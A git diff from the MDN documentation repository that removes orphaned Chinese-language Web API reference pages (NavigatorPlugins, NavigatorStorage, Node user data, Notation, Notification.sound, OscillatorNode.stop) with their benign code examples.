b/files/zh-cn/orphaned/web/api/navigatorplugins/javaenabled/index.html deleted file mode 100644 index 746b108c8e..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/javaenabled/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: NavigatorPlugins.javaEnabled -slug: orphaned/Web/API/NavigatorPlugins/javaEnabled -translation_of: Web/API/NavigatorPlugins/javaEnabled -original_slug: Web/API/NavigatorPlugins/javaEnabled ---- -<p>{{ APIRef("HTML DOM") }}</p> - -<h3 id="Summary" name="Summary">概述</h3> - -<p>该方法用来表明当前浏览器是否激活了Java.</p> - -<h3 id="Syntax" name="Syntax">语法</h3> - -<pre class="eval"><em>result</em> = window.navigator.javaEnabled() -</pre> - -<h3 id="Example" name="Example">例子</h3> - -<pre class="eval">if (window.navigator.javaEnabled()) { - // 浏览器中Java可用 -} -</pre> - -<h3 id="Notes" name="Notes">备注</h3> - -<p>该方法的返回值是用来表明浏览器的当前配置文件是否允许使用Java的, 而不是表明浏览器是否支持Java(安装有Java插件).</p> - -<h3 id="Specification" name="Specification">规范</h3> - -<p>{{ DOM0() }}</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/mimetypes/index.html b/files/zh-cn/orphaned/web/api/navigatorplugins/mimetypes/index.html deleted file mode 100644 index 5b199ae666..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/mimetypes/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: NavigatorPlugins.mimeTypes -slug: orphaned/Web/API/NavigatorPlugins/mimeTypes -translation_of: Web/API/NavigatorPlugins/mimeTypes -original_slug: Web/API/NavigatorPlugins/mimeTypes ---- -<div>{{ ApiRef("HTML DOM") }}</div> - -<div> </div> - -<h2 id="Summary" name="Summary">概述</h2> - -<p>返回一个{{domxref("MimeTypeArray")}}对象,其中包含可被当前浏览器识别的{{domxref("MimeType")}}对象的列表。</p> - -<h2 id="Syntax" name="Syntax">语法</h2> - -<pre class="syntaxbox"><var>mimeTypes</var> = navigator.mimeTypes; -</pre> - -<p><code>mimeTypes</code> 是一个 <code>MimeTypeArray</code> 对象,其中含有 <code>length</code> 属性、<code>item(index)</code> 和 <code>namedItem(name)</code> 方法。</p> - -<h2 id="Example" name="Example">示例</h2> - -<pre class="brush:js">function isJavaPresent() { - return 'application/x-java-applet' in navigator.mimeTypes; -} - -function getJavaPluginDescription() { - var mimetype = navigator.mimeTypes['application/x-java-applet']; - if (mimetype === undefined) { - // no Java plugin present - return undefined; - } - return mimetype.enabledPlugin.description; -} -</pre> - -<h2 id="Specification" name="Specification">Specification</h2> - -<p><em>mimeTypes 并未包含在任何规范中。</em></p> diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/plugins/index.html b/files/zh-cn/orphaned/web/api/navigatorplugins/plugins/index.html deleted file mode 100644 index a93bb6741c..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/plugins/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: NavigatorPlugins.plugins -slug: orphaned/Web/API/NavigatorPlugins/plugins -tags: - - API - - DOM - - Navigator - - NavigatorPlugins - - Reference -translation_of: Web/API/NavigatorPlugins/plugins -original_slug: Web/API/NavigatorPlugins/plugins ---- -<p>{{APIRef("HTML DOM")}}</p> - -<p>返回一个 {{ domxref("PluginArray") }} 类型的对象, 包含了当前所使用的浏览器安装的所有插件。</p> - -<div class="blockIndicator note"> -<p>在Firefox 29及之后的版本,出于隐私考虑,<code>navigator.plugins</code> 数组的枚举可能会被限制。如果一定要检查是否存在某个浏览器插件,应该用准确的插件名字查询 <code>navigator.plugins</code> 或 {{DOMxRef("navigator.mimeTypes")}} ,而不是枚举 <code>navigator.plugins</code> 数组,再对比每个插件的名字。 这项有关隐私的改变不会禁用任何插件,只是将插件名字从枚举中隐藏了而已。</p> -</div> - -<h2 id="Syntax" name="Syntax">语法</h2> - -<pre class="eval"><em>plugins</em> = navigator.plugins; -</pre> - -<p><code>plugins</code> 是一个 {{DOMxRef("PluginArray")}} 对象,通过名字或项目列表获取 {{DOMxRef("Plugin")}} 对象。</p> - -<p>返回值不是一个普通的JavaScript数组,但是它也有 <code>length</code> 属性,也可以使用<code>plugins</code>[<code><em>index</em></code>]来获取到每个元素的值, 例如(<code>plugins{{ mediawiki.external("2") }}</code>), 效果和使用 <code>item(<em>index</em>)</code> 以及 <code>namedItem(<em>"name"</em>)</code> 是一样的.</p> - -<h2 id="Example" name="Example">示例</h2> - -<p>下述示例中的函数返回Shockwave Flash插件的版本。</p> - -<pre>function getFlashVersion() { - var flash = navigator.plugins.namedItem('Shockwave Flash'); - if (typeof flash != 'object') { - // flash is not present - return undefined; - } - if(flash.version){ - return flash.version; - } else { - //No version property (e.g. in Chrome) - return flash.description.replace(/Shockwave Flash /,""); - } -} -</pre> - -<p>下述示例可显示已安装插件的信息。</p> - -<pre>var pluginsLength = navigator.plugins.length; - -document.body.innerHTML = pluginsLength + " Plugin(s)<br>" - + '<table id="pluginTable"><thead>' - +'<tr><th>Name</th><th>Filename</th><th>description</th><th>version</th></tr>' - +'</thead><tbody></tbody></table>'; - -var table = document.getElementById('pluginTable'); - -for(var i = 0; i < pluginsLength; i++) { - let newRow = table.insertRow(); - newRow.insertCell().textContent = navigator.plugins[i].name; - newRow.insertCell().textContent = navigator.plugins[i].filename; - newRow.insertCell().textContent = navigator.plugins[i].description; - newRow.insertCell().textContent = navigator.plugins[i].version?navigator.plugins[i].version:""; -} -</pre> - -<h2 id="Notes" name="Notes">备注</h2> - -<p>{{DOMxRef("Plugin")}}对象提供一个小型接口,用于获取浏览器中安装的各种插件的信息。你也可以进入 <code>about:plugins</code> 页面,来查看浏览器上安装的插件(Chrome已移除该入口)。</p> - -<h2 id="规范">规范</h2> - -<table> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#dom-navigator-plugins', 'NavigatorPlugins.plugins')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.NavigatorPlugins.plugins")}}</p> - -<p>In addition to listing each plugin as a pseudo-array by zero-indexed numeric properties, Firefox provides properties that are the plugin name directly on the <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/PluginArray">PluginArray</a> object.</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/测试滕盖/index.html b/files/zh-cn/orphaned/web/api/navigatorplugins/测试滕盖/index.html deleted file mode 100644 index 7033c46107..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/测试滕盖/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 测试滕盖 -slug: orphaned/Web/API/NavigatorPlugins/测试滕盖 -original_slug: Web/API/NavigatorPlugins/测试滕盖 ---- -<div>{{ ApiRef("HTML DOM") }}</div> - -<div> </div> - -<h2 id="Summary" name="Summary">Summary</h2> - -<p>Returns a {{domxref("MimeTypeArray")}} object, which contains a list of {{domxref("MimeType")}} objects representing the MIME types recognized by the browser.</p> - -<h2 id="Syntax" name="Syntax">Syntax</h2> - -<pre class="syntaxbox"><var>mimeTypes</var> = navigator.mimeTypes; -</pre> - -<p><code>mimeTypes</code> is a <code>MimeTypeArray</code> object which has a <code>length</code> property as well as <code>item(index)</code> and <code>namedItem(name)</code> methods.</p> - -<h2 id="Example" name="Example">Example</h2> - -<pre class="brush:js">function isJavaPresent() { - return 'application/x-java-applet' in navigator.mimeTypes; -} - -function getJavaPluginDescription() { - var mimetype = navigator.mimeTypes['application/x-java-applet']; - if (mimetype === undefined) { - // no Java plugin present - return undefined; - } - return mimetype.enabledPlugin.description; -} -</pre> - -<h2 id="Specification" name="Specification">Specification</h2> - -<p><em>This is not part of any specification.</em></p> diff --git a/files/zh-cn/orphaned/web/api/navigatorstorage/index.html b/files/zh-cn/orphaned/web/api/navigatorstorage/index.html deleted file mode 100644 index bc0ef8ba92..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorstorage/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: NavigatorStorage -slug: orphaned/Web/API/NavigatorStorage -tags: - - API - - Interface - - Mixin - - Navigator - - NavigatorStorage - - NeedsTranslation - - Reference - - Secure context - - Storage - - Storage Standard - - TopicStub - - WorkerNavigator -translation_of: Web/API/NavigatorStorage -original_slug: Web/API/NavigatorStorage ---- -<p>{{securecontext_header}}{{APIRef("Storage")}}</p> - -<p>The <strong><code>NavigatorStorage</code></strong> {{Glossary("mixin")}} adds to the {{domxref("Navigator")}} and {{domxref("WorkerNavigator")}} interfaces the {{domxref("Navigator.storage")}} property, which provides access to the {{domxref("StorageManager")}} singleton used for controlling the persistence of data stores as well as obtaining information</p> - -<p>{{AvailableInWorkers}}</p> - -<p>There are many APIs which provide ways for Web content to store data on a user's computer, including {{Glossary("cookies")}}, the Web Storage API ({{domxref("Window.localStorage")}} and {{domxref("Window.sessionStorage")}}), and <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>. The Storage Standard is designed to serve as a common basis for the implementation of all of those APIs and storage technologies, so that their constraints and configurations can be understood and controlled using a common set of methods and properties.</p> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt>{{domxref("NavigatorStorage.storage", "storage")}} {{readonlyinline}}{{securecontext_inline}}</dt> - <dd>Returns the {{domxref("StorageManager")}} singleton object which is used to access the Storage Manager. Through the returned object, you can control persistence of data stores as well as get estimates of how much space is left for your site or appliation to store data.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>The <code>NavigatorStorage</code></em><em> mixin has no methods.</em></p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('Storage')}}</td> - <td>{{Spec2('Storage')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.NavigatorStorage")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{domxref("Navigator")}}</li> - <li>{{domxref("navigator.storage")}}</li> - <li>{{domxref("WorkerNavigator")}}</li> - <li>{{domxref("StorageManager")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorstorage/storage/index.html b/files/zh-cn/orphaned/web/api/navigatorstorage/storage/index.html deleted file mode 100644 index bfd2cc93d6..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorstorage/storage/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: NavigatorStorage.storage -slug: orphaned/Web/API/NavigatorStorage/storage -tags: - - API - - Navigator - - WorkerNavigator - - 存储 - - 安全上下文 - - 属性 -translation_of: Web/API/NavigatorStorage/storage -original_slug: Web/API/NavigatorStorage/storage ---- -<p>{{securecontext_header}}{{APIRef("Storage")}}</p> - -<p><span class="seoSummary"> <code><strong>NavigatorStorage.storage</strong></code> 是一个只读属性,返回单例 {{domxref("StorageManager")}} 对象,用于访问当前网站或应用程序的浏览器整体存储功能的。 </span>通过返回的对象,您可以检查和配置数据存储的持久性,并了解您的浏览器使用的大约多少空间用于本地存储。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">var <em>storageManager</em> = navigator.storage; -</pre> - -<h3 id="返回值">返回值</h3> - -<p>返回 {{domxref("StorageManager")}} 您可以用来维护数据的持久化存储,以及大致确定有多少空间来存储数据。</p> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Storage', '#navigatorstorage', 'navigator.storage')}}</td> - <td>{{Spec2('Storage')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<div> -<p>{{Compat("api.NavigatorStorage.storage")}}</p> -</div> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("NavigatorStorage")}}</li> - <li>{{domxref("StorageManager")}}</li> - <li>{{domxref("Navigator")}}</li> - <li>{{domxref("WorkerNavigator")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/node/getuserdata/index.html b/files/zh-cn/orphaned/web/api/node/getuserdata/index.html deleted file mode 100644 index 74dbaf067e..0000000000 --- a/files/zh-cn/orphaned/web/api/node/getuserdata/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Node.getUserData() -slug: orphaned/Web/API/Node/getUserData -translation_of: Web/API/Node/getUserData -original_slug: Web/API/Node/getUserData ---- -<p>{{ APIRef }}{{ obsolete_header() }}</p> -<p>The <code><strong>Node.getUserData()</strong></code> method returns any user {{domxref("DOMUserData")}} set previously on the given node by {{domxref("Node.setUserData()")}}.</p> -<div class="note"> - <p>The <code>Node.setUserData</code> and {{domxref("Node.getUserData")}} methods are no longer available from Web content. {{domxref("Element.dataset")}} or <a href="/en-US/docs/JavaScript/Reference/Global_Objects/WeakMap"><code>WeakMap</code></a> can be used instead.</p> -</div> -<h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox"><em>userData</em> = <em>someNode</em>.getUserData(<em>userKey</em>);</pre> -<h3 id="Parameters">Parameters</h3> -<ul> - <li><code>userKey</code> is the key to choose the specific data sought for the given node. More than one key may have been assigned on a given node, containing its own value.</li> -</ul> -<h2 id="Example">Example</h2> -<pre class="brush: js">var d = document.setUserData('key', 15, null); -alert(document.getUserData('key')); // 15</pre> -<h2 id="Specifications">Specifications</h2> -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Removed from the specification.</td> - </tr> - <tr> - <td>{{SpecName('DOM3 Core', 'core.html#Node3-getUserData', 'Node.getUserData()')}}</td> - <td>{{Spec2('DOM3 Core')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> -<h2 id="Browser_compatibility">Browser compatibility</h2> -<p>{{CompatibilityTable}}</p> -<div id="compat-desktop"> - <table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("21.0")}}.<br> - Removed in {{CompatGeckoDesktop("22.0")}} [1]</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> - </table> -</div> -<div id="compat-mobile"> - <table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>Supported from {{CompatGeckoMobile("1.0")}} to {{CompatGeckoMobile("21.0")}}.<br> - Removed in {{CompatGeckoMobile("22.0")}} [1]</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> - </table> -</div> -<p>[1] The method is still available from chrome scripts.</p> -<h2 id="See_also">See also</h2> -<ul> - <li>{{domxref("Node.setUserData()")}}</li> - <li>{{domxref("UserDataHandler")}}</li> - <li>{{domxref("DOMUserData")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/node/setuserdata/index.html b/files/zh-cn/orphaned/web/api/node/setuserdata/index.html deleted file mode 100644 index 361bfcca25..0000000000 --- a/files/zh-cn/orphaned/web/api/node/setuserdata/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Node.setUserData() -slug: orphaned/Web/API/Node/setUserData -translation_of: Web/API/Node/setUserData -original_slug: Web/API/Node/setUserData ---- -<p>{{ APIRef }}{{ obsolete_header() }}</p> -<p>The <code><strong>Node.setUserData()</strong></code> method allows a user to attach (or remove) data to an element, without needing to modify the DOM. Note that such data will not be preserved when imported via {{domxref("Node.importNode")}}, as with {{domxref("Node.cloneNode()")}} and {{domxref("Node.renameNode()")}} operations (though {{domxref("Node.adoptNode")}} does preserve the information), and equality tests in {{domxref("Node.isEqualNode()")}} do not consider user data in making the assessment.</p> -<p>This method offers the convenience of associating data with specific nodes without needing to alter the structure of a document and in a standard fashion, but it also means that extra steps may need to be taken if one wishes to serialize the information or include the information upon clone, import, or rename operations.</p> -<div class="note"> - <p>The <code>Node.getUserData</code> and {{domxref("Node.setUserData")}} methods are no longer available from Web content. {{domxref("Element.dataset")}} or <a href="/en-US/docs/JavaScript/Reference/Global_Objects/WeakMap"><code>WeakMap</code></a> can be used instead.</p> -</div> -<h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox"><em>prevUserData = someNode</em>.setUserData(<em>userKey</em>, <em>userData</em>, <em>handler</em>);</pre> -<h3 id="Parameters">Parameters</h3> -<ul> - <li><code>userKey</code> is used as the key by which one may subsequently obtain the stored data. More than one key can be set for a given node.</li> - <li><code>handler</code> is a callback which will be called any time the node is being cloned, imported, renamed, as well as if deleted or adopted; a function can be used or an object implementing the <code>handle</code> method (part of the {{domxref("UserDataHandler")}} interface). The handler will be passed five arguments: an operation type integer (e.g., 1 to indicate a clone operation), the user key, the data on the node, the source node (<code>null</code> if being deleted), the destination node (the newly created node or <code>null</code> if none).If no handler is desired, one must specify <code>null</code>.</li> - <li><code>userData</code> is the object to associate to <code>userKey</code> on someNode. If <code>null</code>, any previously registered object and UserDataHandler associated to <code>userKey</code> on this node will be removed.</li> -</ul> -<h2 id="Example">Example</h2> -<pre class="brush: js">var d = document.implementation.createDocument('', 'test', null); -d.documentElement.setUserData('key', 15, {handle:function (o, k, d, s, ds) {alert(o+'::'+k+'::'+d+'::'+s+'::'+ds)}}); // 2::key::15::[object Element]::[object Element] -alert(d.documentElement.getUserData('key')); // 15 -var e = document.importNode(d.documentElement, true); // causes handler to be called -alert(e.getUserData('key')); // null since user data is not copied -</pre> -<h2 id="Specifications">Specifications</h2> -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Removed from the specification.</td> - </tr> - <tr> - <td>{{SpecName('DOM3 Core', 'core.html#Node3-setUserData', 'Node.setUserData()')}}</td> - <td>{{Spec2('DOM3 Core')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> -<h2 id="Browser_compatibility">Browser compatibility</h2> -<p>{{CompatibilityTable}}</p> -<div id="compat-desktop"> - <table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("21.0")}}.<br> - Removed in {{CompatGeckoDesktop("22.0")}} [1]</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> - </table> -</div> -<div id="compat-mobile"> - <table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>Supported from {{CompatGeckoMobile("1.0")}} to {{CompatGeckoMobile("21.0")}}.<br> - Removed in {{CompatGeckoMobile("22.0")}} [1]</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> - </table> -</div> -<p>[1] The method is still available from chrome scripts.</p> -<h2 id="See_also">See also</h2> -<ul> - <li>{{domxref("Node.getUserData()")}}</li> - <li>{{domxref("UserDataHandler")}}</li> - <li>{{domxref("DOMUserData")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/notation/index.html b/files/zh-cn/orphaned/web/api/notation/index.html deleted file mode 100644 index 04e36231f4..0000000000 --- a/files/zh-cn/orphaned/web/api/notation/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Notation -slug: orphaned/Web/API/Notation -tags: - - API - - Obsolete - - Reference -translation_of: Web/API/Notation -original_slug: Web/API/Notation ---- -<div>{{APIRef("DOM")}}{{draft}}{{obsolete_header}}</div> - -<p>表示DTD表示(只读)。可以声明未解析实体的格式或正式声明文档的处理指令目标。从 <a href="/En/DOM/Node">node</a> 继承方法和属性。它的 <a href="/En/DOM/Node/NodeName">nodeName</a> 是表示法名称。没有父节点。</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("Notation.publicId")}} {{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("Notation.systemId")}} {{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th>Specification</th> - <th>Status</th> - <th>Comment</th> - </tr> - <tr> - <td>{{SpecName("DOM3 Core", "core.html#ID-5431D1B9", "Notation")}}</td> - <td>{{Spec2("DOM3 Core")}}</td> - <td>No change</td> - </tr> - <tr> - <td>{{SpecName("DOM2 Core", "core.html#ID-5431D1B9", "Notation")}}</td> - <td>{{Spec2("DOM2 Core")}}</td> - <td>No change</td> - </tr> - <tr> - <td>{{SpecName('DOM1', 'level-one-core.html#ID-5431D1B9', 'Notation')}}</td> - <td>{{Spec2('DOM1')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.Notation")}}</p> diff --git a/files/zh-cn/orphaned/web/api/notification/sound/index.html b/files/zh-cn/orphaned/web/api/notification/sound/index.html deleted file mode 100644 index 13577dd621..0000000000 --- a/files/zh-cn/orphaned/web/api/notification/sound/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: Notification.sound -slug: orphaned/Web/API/notification/sound -translation_of: Web/API/notification/sound -original_slug: Web/API/notification/sound ---- -<p>{{APIRef("Web Notifications")}}</p> - -<div class="note"> -<p><strong>Note</strong>: 这个属性并没有完全被一些浏览器支持.</p> -</div> - -<p> <code>sound</code> 是 {{domxref("Notification")}}的只读属性,interface specifies the URL of an audio file to be played when the notification fires. This is specified in the <code>sound</code> option of the {{domxref("Notification.Notification","Notification()")}} constructor.</p> - -<h2 id="Syntax" name="Syntax">Syntax</h2> - -<pre class="eval">var sound = Notification.sound; -</pre> - -<h3 id="Return_Value" name="Return_Value">Value</h3> - -<p>A {{domxref("USVString")}}.</p> - -<h2 id="Examples">Examples</h2> - -<p>The following snippet is intended to fire a sound along with the notification; a simple <code>options</code> object is created, then the notification is fired using the <code>Notification()</code> constructor.</p> - -<pre class="brush: js">var options = { - body: 'Do you like my body?', - sound: 'audio/alert.mp3' -} - -var n = new Notification('Test notification',options); - -n.sound // should return 'audio/alert.mp3'</pre> - -<h2 id="Specifications">Specifications</h2> - -<table> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Web Notifications','#dom-notification-sound','sound')}}</td> - <td>{{Spec2('Web Notifications')}}</td> - <td>Living standard</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Android Webview</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td> - <p>{{ CompatNo() }}</p> - </td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td> - <p>{{ CompatNo() }}</p> - </td> - </tr> - </tbody> -</table> -</div> - -<h3 id="Firefox_OS_notes">Firefox OS notes</h3> - -<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}</p> - -<h3 id="Chrome_notes">Chrome notes</h3> - -<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}</p> - -<h3 id="Safari_notes">Safari notes</h3> - -<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/oscillatornode/stop/index.html b/files/zh-cn/orphaned/web/api/oscillatornode/stop/index.html deleted file mode 100644 index be94b576e6..0000000000 --- a/files/zh-cn/orphaned/web/api/oscillatornode/stop/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: OscillatorNode.stop() -slug: orphaned/Web/API/OscillatorNode/stop -translation_of: Web/API/OscillatorNode/stop -original_slug: Web/API/OscillatorNode/stop ---- -<p>{{ APIRef("Web Audio API") }}</p> - -<div> -<p>这个 <strong><code>stop</code></strong>方法 {{ domxref("OscillatorNode") }} 接口在指定时间内停止播放,它的参数是可选的,默认情况下是0.</p> -</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">oscillator.stop(<em>when</em>); // stop playing oscillator at <em>when</em></pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><em>when</em></dt> - <dd>An optional double representing the <a href="/en-US/docs/Web/API/AudioContext/currentTime">audio context time</a> when the oscillator should stop. If a value is not included, it defaults to <code>0</code>. If the time is equal to or before the current audio context time, the oscillator will stop playing immediately.</dd> -</dl> - -<h2 id="例如">例如</h2> - -<p>下面的示例显示一个基本用法{{ domxref("AudioContext") }}创建子节点。一个应用的例子,看看我们的演示( <a href="http://mdn.github.io/violent-theremin/">Violent Theremin demo</a> (<a href="https://github.com/mdn/violent-theremin/blob/gh-pages/scripts/app.js">see app.js</a> for relevant code).</p> - -<pre class="brush: js;highlight[11]">// create web audio api context -var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); - -// create Oscillator node -var oscillator = audioCtx.createOscillator(); -oscillator.connect(audioCtx.destination); - -oscillator.start(); - -oscillator.stop(audioCtx.currentTime + 2); // stop 2 seconds after the current time -</pre> - -<h2 id="规定">规定</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Web Audio API', '#widl-OscillatorNode-stop-void-double-when', 'stop')}}</td> - <td>{{Spec2('Web Audio API')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器的兼容性">浏览器的兼容性</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>14 {{property_prefix("webkit")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>23 [1]</td> - <td>{{CompatNo}}</td> - <td>15 {{property_prefix("webkit")}}<br> - 22 (unprefixed)</td> - <td>6 {{property_prefix("webkit")}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>28 {{property_prefix("webkit")}}</td> - <td>25 [1]</td> - <td>1.2</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>6 {{property_prefix("webkit")}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] The parameter wasn't optional until Firefox 30.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/append/index.html b/files/zh-cn/orphaned/web/api/parentnode/append/index.html deleted file mode 100644 index 6f06f7a420..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/append/index.html +++ /dev/null @@ -1,147 +0,0 